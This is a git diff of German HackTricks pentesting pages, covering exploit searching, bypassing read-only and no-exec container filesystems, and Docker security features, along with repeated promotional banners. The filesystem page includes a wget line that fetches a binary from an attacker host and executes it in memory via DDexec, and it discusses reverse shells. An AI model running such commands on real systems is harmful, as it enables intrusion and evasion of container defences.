Dieser Befehl nutzt die `requests`-Bibliothek, um eine GET-Anfrage an den verwundbaren Endpunkt zu senden. Der Payload enthält den Python-Code, der die RCE ausführt. Die Antwort der Anfrage wird dann ausgegeben.
Stellen Sie sicher, dass Sie über die erforderlichen Berechtigungen verfügen, um die RCE auszuführen, und verwenden Sie diese Technik nur zu legitimen Zwecken im Rahmen einer autorisierten Penetrationstest.
## Python-Befehl zum Ausnutzen einer RCE
```python
import requests
import re
@ -135,23 +117,24 @@ return 1
term = Terminal()
term.cmdloop()
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>

View file

@ -1,35 +1,36 @@
# Exploits suchen
# Suche nach Exploits
<details>
<summary>Lernen Sie AWS-Hacking von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise.
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs.
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen.
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [Trickest](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten Community-Tools** unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### Browser
Suchen Sie immer in "Google" oder anderen Suchmaschinen: **\<service\_name> \[version] exploit**
Suchen Sie immer in "Google" oder anderen: **\<service\_name> \[version] exploit**
Sie sollten auch die **Shodan Exploit-Suche** von [https://exploits.shodan.io/](https://exploits.shodan.io) ausprobieren.
Versuchen Sie auch die **Shodan-Exploit-Suche** unter [https://exploits.shodan.io/](https://exploits.shodan.io).
### Searchsploit
Nützlich, um Exploits für Dienste in **ExploitDB von der Konsole aus** zu suchen.
Nützlich, um Exploits für Dienste in **exploitdb von der Konsole aus zu suchen.**
```bash
#Searchsploit tricks
searchsploit "linux Kernel" #Example
@ -41,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
```
### Pompem
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) ist ein weiteres Tool zum Suchen nach Exploits.
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) ist ein weiteres Tool zum Suchen von Exploits.
### MSF-Search
```bash
@ -59,24 +60,24 @@ Sie können auch in der Vulners-Datenbank suchen: [https://vulners.com/](https:/
Dies sucht nach Exploits in anderen Datenbanken: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um einfach **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>

View file

@ -1,4 +1,4 @@
# Umgehen von FS-Schutzmaßnahmen: Nur-Lesen / Keine-Ausführung / Distroless
# Umgehen von FS-Schutzmaßnahmen: Nur-Lesen / Kein-Exec / Distroless
<details>
@ -22,14 +22,14 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
## Videos
In den folgenden Videos finden Sie die auf dieser Seite erwähnten Techniken ausführlicher erläutert:
In den folgenden Videos finden Sie die auf dieser Seite erwähnten Techniken ausführlicher erklärt:
* [**DEF CON 31 - Erkundung der Linux-Speicher-Manipulation für Stealth und Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Stealth-Eindringungen mit DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## Nur-Lesen / Keine-Ausführung-Szenario
## Nur-Lesen / Kein-Exec-Szenario
Es wird immer häufiger, dass Linux-Maschinen mit **Schutzmaßnahmen für eine nur-Lese (ro) Dateisystem** montiert sind, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von **`readOnlyRootFilesystem: true`** im `securitycontext`:
Es wird immer häufiger, dass Linux-Maschinen mit **Schutzmaßnahmen für eine nur-Lese (ro) Dateisystem** montiert sind, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit nur-Lese-Dateisystem so einfach ist wie das Festlegen von **`readOnlyRootFilesystem: true`** im `securitycontext`:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -44,7 +44,7 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Auch wenn das Dateisystem als ro eingebunden ist, wird **`/dev/shm`** dennoch beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit **Keine-Ausführung-Schutzmaßnahmen eingebunden**, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese **nicht ausführen können**.
Auch wenn das Dateisystem als ro eingebunden ist, wird **`/dev/shm`** dennoch beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit **Kein-Exec-Schutz eingebunden**, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese **nicht ausführen können**.
{% hint style="warning" %}
Aus der Sicht eines Red Teams wird es dadurch **kompliziert, Binärdateien herunterzuladen und auszuführen**, die nicht bereits im System vorhanden sind (wie Backdoors oder Enumeratoren wie `kubectl`).
@ -58,25 +58,25 @@ Dies reicht jedoch nicht aus, um Ihre Binärdatei-Backdoor oder andere Binärwer
## Speicherumgehungen
Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher heraus **ausführen**, da die **Schutzmaßnahmen dort nicht gelten**.
Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem **Speicher ausführen**, da die **Schutzmaßnahmen dort nicht gelten**.
### FD + exec-Systemaufruf-Umgehung
Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, sie in einem Speicherdateideskript speichern (`create_memfd`-Systemaufruf), das nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen **`exec`-Systemaufruf** aufrufen, wobei der **fd als auszuführende Datei** angegeben wird.
Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, sie in einem Speicherdateideskript speichern (`create_memfd`-Systemaufruf), der nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen **`exec`-Systemaufruf** aufrufen, wobei der **fd als auszuführende Datei angegeben wird**.
Hierfür können Sie das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der **Binärdatei komprimiert und b64-codiert** generieren, zusammen mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem durch `create_memfd`-Systemaufruf erstellten **fd** und einem Aufruf des **exec**-Systemaufrufs zum Ausführen.
Hierfür können Sie das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der **Binärdatei komprimiert und b64-codiert** generieren, mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem mit `create_memfd`-Systemaufruf erstellten **fd** und einem Aufruf des **exec**-Systemaufrufs zum Ausführen.
{% hint style="warning" %}
Dies funktioniert nicht in anderen Skriptsprachen wie PHP oder Node, da sie keine **Standardmethode zum Aufrufen von Rohsystemaufrufen** aus einem Skript haben. Daher ist es nicht möglich, `create_memfd` aufzurufen, um den **Speicher-FD** zum Speichern der Binärdatei zu erstellen.
Dies funktioniert nicht in anderen Skriptsprachen wie PHP oder Node, da sie keine **Standardmethode zum Aufrufen von Rohsystemaufrufen** aus einem Skript haben, sodass es nicht möglich ist, `create_memfd` aufzurufen, um den **Speicherfd** zum Speichern der Binärdatei zu erstellen.
Darüber hinaus wird das Erstellen eines **regulären FD** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie es nicht ausführen dürfen, da der **Keine-Ausführung-Schutz** angewendet wird.
Darüber hinaus wird das Erstellen eines **regulären fd** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie es nicht ausführen dürfen, da der **Kein-Exec-Schutz** angewendet wird.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ist eine Technik, die es Ihnen ermöglicht, den **Speicher Ihres eigenen Prozesses zu modifizieren**, indem Sie seinen **`/proc/self/mem`** überschreiben.
Daher können Sie, indem Sie den vom Prozess ausgeführten Assemblercode kontrollieren, ein **Shellcode** schreiben und den Prozess "mutieren", um **beliebigen Code auszuführen**.
Daher können Sie, indem Sie den **Assembly-Code steuern**, der vom Prozess ausgeführt wird, ein **Shellcode** schreiben und den Prozess "mutieren", um **beliebigen Code auszuführen**.
{% hint style="success" %}
**DDexec / EverythingExec** ermöglicht es Ihnen, Ihren eigenen **Shellcode** oder **beliebige Binärdateien** aus dem **Speicher zu laden und auszuführen**.
@ -87,7 +87,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
```
### MemExec
[**Memexec**](https://github.com/arget13/memexec) ist der natürliche nächste Schritt von DDexec. Es handelt sich um einen **DDexec-Shellcode-Dämon**, sodass Sie jedes Mal, wenn Sie **eine andere Binärdatei ausführen möchten**, DDexec nicht neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann **mit diesem Dämon kommunizieren, um neue Binärdateien zu übergeben, zu laden und auszuführen**.
[**Memexec**](https://github.com/arget13/memexec) ist der natürliche nächste Schritt von DDexec. Es handelt sich um einen **DDexec-Shellcode-Dämon**, sodass Sie jedes Mal, wenn Sie **eine andere Binärdatei ausführen möchten**, nicht DDexec neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann **mit diesem Dämon kommunizieren, um neue Binärdateien zu übergeben, zu laden und auszuführen**.
Ein Beispiel, wie Sie **Memexec verwenden können, um Binärdateien von einer PHP-Reverse-Shell auszuführen**, finden Sie unter [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
@ -108,19 +108,19 @@ Das Ziel von Distroless-Containern ist es, die Angriffsfläche von Containern zu
In einem Distroless-Container finden Sie möglicherweise **nicht einmal `sh` oder `bash`**, um eine reguläre Shell zu erhalten. Sie werden auch keine Binärdateien wie `ls`, `whoami`, `id` finden... alles, was Sie normalerweise in einem System ausführen.
{% hint style="warning" %}
Daher werden Sie **keine** **Reverse-Shell** erhalten oder das System **wie gewohnt durchsuchen können**.
Daher werden Sie **keine** Möglichkeit haben, eine **Reverse-Shell** zu erhalten oder das System zu **enumerieren**, wie Sie es normalerweise tun.
{% endhint %}
Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede **Skriptsprache**.
Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, dann ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede **Skriptsprache**.
{% hint style="success" %}
Mit der Skriptsprache könnten Sie das System **durch die Fähigkeiten der Sprache durchsuchen**.
Mit der Skriptsprache könnten Sie das System **enumerieren**, indem Sie die Fähigkeiten der Sprache nutzen.
{% endhint %}
Wenn es **keine `read-only/no-exec`**-Schutzmaßnahmen gibt, könnten Sie Ihre Reverse-Shell missbrauchen, um **Ihre Binärdateien im Dateisystem zu schreiben** und sie **auszuführen**.
{% hint style="success" %}
In diesen Containern werden jedoch normalerweise diese Schutzmaßnahmen existieren, aber Sie könnten die **vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen**.
In diesen Art von Containern werden diese Schutzmaßnahmen jedoch normalerweise vorhanden sein, aber Sie könnten die **vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen**.
{% endhint %}
Sie finden **Beispiele**, wie Sie **einige RCE-Schwachstellen ausnutzen** können, um Skriptsprachen **Reverse-Shells** zu erhalten und Binärdateien aus dem Speicher auszuführen, unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).

View file

@ -14,10 +14,10 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mithilfe der weltweit **fortschrittlichsten Community-Tools** **Workflows** einfach zu erstellen und zu **automatisieren**.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -32,7 +32,7 @@ Die **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Ker
Die Docker-Engine kann entweder lokal über einen Unix-Socket oder remote über HTTP zugegriffen werden. Für den Remotezugriff ist es wichtig, HTTPS und **TLS** zu verwenden, um Vertraulichkeit, Integrität und Authentifizierung sicherzustellen.
Die Docker-Engine hört standardmäßig auf den Unix-Socket unter `unix:///var/run/docker.sock`. Auf Ubuntu-Systemen sind die Startoptionen von Docker in `/etc/default/docker` definiert. Um den Remotezugriff auf die Docker-API und den Client zu ermöglichen, aktivieren Sie den Docker-Daemon über einen HTTP-Socket, indem Sie die folgenden Einstellungen hinzufügen:
Die Docker-Engine hört standardmäßig auf den Unix-Socket unter `unix:///var/run/docker.sock`. Auf Ubuntu-Systemen sind die Startoptionen von Docker in `/etc/default/docker` definiert. Um den Remotezugriff auf die Docker-API und den Client zu ermöglichen, öffnen Sie den Docker-Daemon über einen HTTP-Socket, indem Sie die folgenden Einstellungen hinzufügen:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
@ -49,18 +49,18 @@ Zur Bestätigung der Identität eines Servers werden Zertifikate verwendet. Für
Container-Images können in privaten oder öffentlichen Repositories gespeichert werden. Docker bietet mehrere Speicheroptionen für Container-Images:
* [**Docker Hub**](https://hub.docker.com): Ein öffentlicher Registrierungsdienst von Docker.
* [**Docker Registry**](https://github.com/docker/distribution): Ein Open-Source-Projekt, das es Benutzern ermöglicht, ihr eigenes Register zu hosten.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Das kommerzielle Registrierungsangebot von Docker mit benutzerbasierter Authentifizierung und Integration mit LDAP-Verzeichnisdiensten.
* [**Docker Registry**](https://github.com/docker/distribution): Ein Open-Source-Projekt, das Benutzern ermöglicht, ihr eigenes Register zu hosten.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Das kommerzielle Registrierungsangebot von Docker mit rollenbasierter Benutzerauthentifizierung und Integration mit LDAP-Verzeichnisdiensten.
### Bildscannen
Container können **Sicherheitslücken** aufweisen, entweder aufgrund des Basisimages oder der darauf installierten Software. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheitsscans von Containern durchführt und die Sicherheitslücken auflistet. Nautilus funktioniert, indem es jedes Container-Image-Layer mit dem Sicherheitslücken-Repository vergleicht, um Sicherheitslücken zu identifizieren.
Container können **Sicherheitslücken** aufweisen, entweder aufgrund des Basisimages oder der auf dem Basisimage installierten Software. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheitsscans von Containern durchführt und die Sicherheitslücken auflistet. Nautilus funktioniert, indem es jedes Container-Image-Layer mit dem Sicherheitslücken-Repository vergleicht, um Sicherheitslücken zu identifizieren.
Für weitere [**Informationen lesen Sie dies**](https://docs.docker.com/engine/scan/).
* **`docker scan`**
Der Befehl **`docker scan`** ermöglicht es Ihnen, vorhandene Docker-Images mithilfe des Bildnamens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das Image hello-world zu scannen:
Der Befehl **`docker scan`** ermöglicht es Ihnen, vorhandene Docker-Images mithilfe des Bildnamens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das Bild hello-world zu scannen:
```bash
docker scan hello-world
@ -90,59 +90,19 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Docker-Image-Signierung
Die Docker-Image-Signierung gewährleistet die Sicherheit und Integrität von in Containern verwendeten Bildern. Hier ist eine zusammengefasste Erklärung:
Die Signierung von Docker-Images gewährleistet die Sicherheit und Integrität von Images, die in Containern verwendet werden. Hier ist eine zusammengefasste Erklärung:
- **Docker Content Trust** nutzt das Notary-Projekt, basierend auf The Update Framework (TUF), zur Verwaltung der Bildsignierung. Weitere Informationen finden Sie unter [Notary](https://github.com/docker/notary) und [TUF](https://theupdateframework.github.io).
- Um Docker Content Trust zu aktivieren, setzen Sie `export DOCKER_CONTENT_TRUST=1`. Diese Funktion ist in Docker Version 1.10 und später standardmäßig deaktiviert.
- Mit dieser Funktion können nur signierte Bilder heruntergeladen werden. Das Initiieren des ersten Bild-Push erfordert das Festlegen von Passphrasen für die Root- und Tagging-Schlüssel, wobei Docker auch Yubikey zur Verbesserung der Sicherheit unterstützt. Weitere Details finden Sie [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Der Versuch, ein nicht signiertes Bild mit aktiviertem Content Trust herunterzuladen, führt zu einem Fehler "No trust data for latest".
- Für Bild-Pushes nach dem ersten fordert Docker die Passphrase des Repository-Schlüssels an, um das Bild zu signieren.
- **Docker Content Trust** nutzt das Notary-Projekt, basierend auf dem The Update Framework (TUF), zur Verwaltung der Image-Signierung. Weitere Informationen finden Sie unter [Notary](https://github.com/docker/notary) und [TUF](https://theupdateframework.github.io).
- Um Docker Content Trust zu aktivieren, setzen Sie `export DOCKER_CONTENT_TRUST=1`. Diese Funktion ist standardmäßig in Docker Version 1.10 und höher deaktiviert.
- Mit dieser Funktion können nur signierte Images heruntergeladen werden. Das Initiieren des ersten Image-Push erfordert das Festlegen von Passphrasen für die Root- und Tagging-Schlüssel, wobei Docker auch Yubikey zur Verbesserung der Sicherheit unterstützt. Weitere Details finden Sie [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Der Versuch, ein nicht signiertes Image mit aktiviertem Content Trust herunterzuladen, führt zu einem "Keine Vertrauensdaten für latest" Fehler.
- Für Image-Pushes nach dem ersten fordert Docker die Passphrase des Repository-Schlüssels an, um das Image zu signieren.
Um Ihre privaten Schlüssel zu sichern, verwenden Sie den Befehl:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Beim Wechsel von Docker-Hosts ist es notwendig, die Root- und Repository-Schlüssel zu verschieben, um den Betrieb aufrechtzuerhalten.
***
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Sicherheitsfunktionen von Containern
<details>
<summary>Zusammenfassung der Sicherheitsfunktionen von Containern</summary>
#### Hauptfunktionen zur Prozessisolierung
In containerisierten Umgebungen ist die Isolierung von Projekten und deren Prozessen entscheidend für Sicherheit und Ressourcenmanagement. Hier ist eine vereinfachte Erklärung der wichtigsten Konzepte:
**Namespaces**
* **Zweck**: Sicherstellung der Isolierung von Ressourcen wie Prozessen, Netzwerken und Dateisystemen. Insbesondere in Docker halten Namespaces die Prozesse eines Containers getrennt vom Host und anderen Containern.
* **Verwendung von `unshare`**: Der Befehl `unshare` (oder das zugrunde liegende Systemaufruf) wird verwendet, um neue Namespaces zu erstellen und eine zusätzliche Isolationsebene bereitzustellen. Während Kubernetes dies grundsätzlich nicht blockiert, tut Docker dies.
* **Einschränkung**: Das Erstellen neuer Namespaces erlaubt es einem Prozess nicht, zu den Standard-Namespaces des Hosts zurückzukehren. Um auf die Host-Namespaces zuzugreifen, benötigt man in der Regel Zugriff auf das Verzeichnis `/proc` des Hosts und verwendet `nsenter` für den Zugriff.
**Control Groups (CGroups)**
* **Funktion**: Hauptsächlich zur Ressourcenzuweisung zwischen Prozessen verwendet.
* **Sicherheitsaspekt**: CGroups bieten an sich keine Isolationssicherheit, außer der Funktion `release_agent`, die bei falscher Konfiguration potenziell für unbefugten Zugriff ausgenutzt werden könnte.
**Capability Drop**
* **Bedeutung**: Es ist eine wichtige Sicherheitsfunktion für die Prozessisolierung.
* **Funktionalität**: Es beschränkt die Aktionen, die ein Root-Prozess ausführen kann, indem bestimmte Fähigkeiten abgelegt werden. Selbst wenn ein Prozess mit Root-Rechten läuft, verhindert das Fehlen der erforderlichen Fähigkeiten die Ausführung privilegierter Aktionen, da die Systemaufrufe aufgrund unzureichender Berechtigungen fehlschlagen werden.
Dies sind die **verbleibenden Fähigkeiten**, nachdem der Prozess die anderen abgelegt hat:
{% code overflow="wrap" %}
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
@ -155,9 +115,9 @@ Das **Standard-Docker-Seccomp-Profil** finden Sie unter [https://github.com/moby
**AppArmor**
Docker verfügt über eine Vorlage, die Sie aktivieren können: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Docker hat eine Vorlage, die Sie aktivieren können: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
